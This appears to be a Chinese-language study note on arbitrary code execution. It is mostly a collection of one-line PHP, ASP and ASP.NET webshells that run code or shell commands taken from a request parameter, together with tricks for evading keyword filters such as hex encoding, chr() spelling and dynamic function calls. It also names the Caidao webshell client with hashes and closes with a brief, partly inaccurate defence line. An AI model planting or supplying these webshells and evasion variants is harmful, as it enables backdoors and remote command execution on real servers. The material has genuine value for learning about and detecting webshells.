【漏洞】ACE任意代码执行漏洞

前言

任意代码执行(英语:Arbitrary code execution,简称ACE)是指攻击者能够让目标电脑或目标进程中执行任意命令或代码。(维基百科

任意代码执行(ACE, Arbitrary Code Execution)
远程代码执行(RCE, Remote Code Execution)

漏洞原理

  • 代码中出现了可以执行代码的代码,且被执行的代码可以通过参数传递

PHP漏洞利用

  • 一句话木马

执行代码

  • 代码执行函数
  • 执行代码不返回代码执行结果
1
<?php eval($_REQUEST["key"]); ?>
  • 断言函数,函数内的参数会被当作代码执行
  • 执行代码不返回代码执行结果
1
<?php assert($_REQUEST["key"]); ?>
  • 正则替换函数
  • 受影响的版本
    • 5.5.0 < PHP < 7.0.0
  • 如果第一个参数传递的正则表达式以/e结尾,表示被正则表达式匹配成功的文本会被当作代码执行
  • 执行代码并输出代码执行结果
1
<?php preg_replace("//e", $_REQUEST["key"], ""); ?>
1
<?php preg_replace("/.*/e", $_REQUEST["key"], ""); ?>

执行命令

  • 执行Shell命令并输出Shell的全部输出,返回Shell的最后一行输出
1
<?php system($_REQUEST['key']); ?>
  • 执行Shell命令并返回Shell的最后一行输出,通过输出语句输出
1
<?php echo exec($_REQUEST["key"]); ?>
  • 执行Shell命令并输出Shell的全部输出
1
<?php passthru($_REQUEST["key"]); ?>
  • 执行Shell命令并返回Shell的全部输出,通过输出语句输出
1
<?php echo shell_exec($_REQUEST["key"]); ?>
  • 简写
1
<?php echo `{$_REQUEST["key"]}`; ?>

关键词过滤绕过

  • 省略引号

当使用了未定义的常量时,PHP 不会直接崩溃,而是自动把它当作字符串处理

1
<?php eval($_REQUEST[key]); ?>
  • 包含关键词的语句进行十六进制编码
1
<?php eval(hex2bin("6576616C28245F524551554553545B226B6579225D293B")); ?>
  • 函数调用
    • call_user_func()的第一个参数只能是函数名而不能是语言结构
1
<?php call_user_func($_REQUEST["fn"], $_REQUEST["key"]); ?>
  • 动态函数
1
<?php $fn = $_REQUEST["fn"]; $fn($_REQUEST["key"]); ?>
  • 关键词中每个字母进行Ascii编码
1
<?php (chr(115).chr(121).chr(115).chr(116).chr(101).chr(109))($_REQUEST["key"]); ?>

ASP漏洞利用

执行代码

  • 执行代码并返回代码执行结果,通过输出语句输出
1
<% Response.Write eval(request("key")) %>
1
<%= eval(request("key")) %>

执行命令

  • 执行Shell命令并返回Shell的全部输出,通过输出语句输出
1
<% CreateObject("WScript.Shell").Exec(Request("key")).StdOut.ReadAll() %>

ASP.NET漏洞利用

执行代码

  • 执行代码并返回代码执行结果,通过输出语句输出
1
2
<%@ Page Language="Jscript" %>
<% Response.Write(eval(Request.Item["key"], "unsafe")); %>
  • 简写
1
2
<%@ Page Language="Jscript" %>
<%= eval(Request.Item["key"], "unsafe"); %>

执行命令

  • 执行Shell命令并返回Shell的全部输出,通过输出语句输出
1
2
<%@ Page Language="Jscript" %>
<% Response.Write(new ActiveXObject("WScript.Shell").Exec(Request["key"]).StdOut.ReadAll()); %>
  • 简写
1
2
<%@ Page Language="Jscript" %>
<%= new ActiveXObject("WScript.Shell").Exec(Request["key"]).StdOut.ReadAll(); %>

漏洞利用工具

1
2
3
caidao_20111116 5001ef50c7e869253a7c152a638eab8a
caidao_20141213 4b4a956b9c7dc734f339fa05e4c2a990
caidao_20160622 acaf6564637ba97f73297b0096c2994c

防御

通过配置文件关闭部分函数渲染

/etc/php.ini
1
disable_functions = eval,assert

完成

参考文献

哔哩哔哩——千锋教育网络安全学院
哔哩哔哩——xiaodisec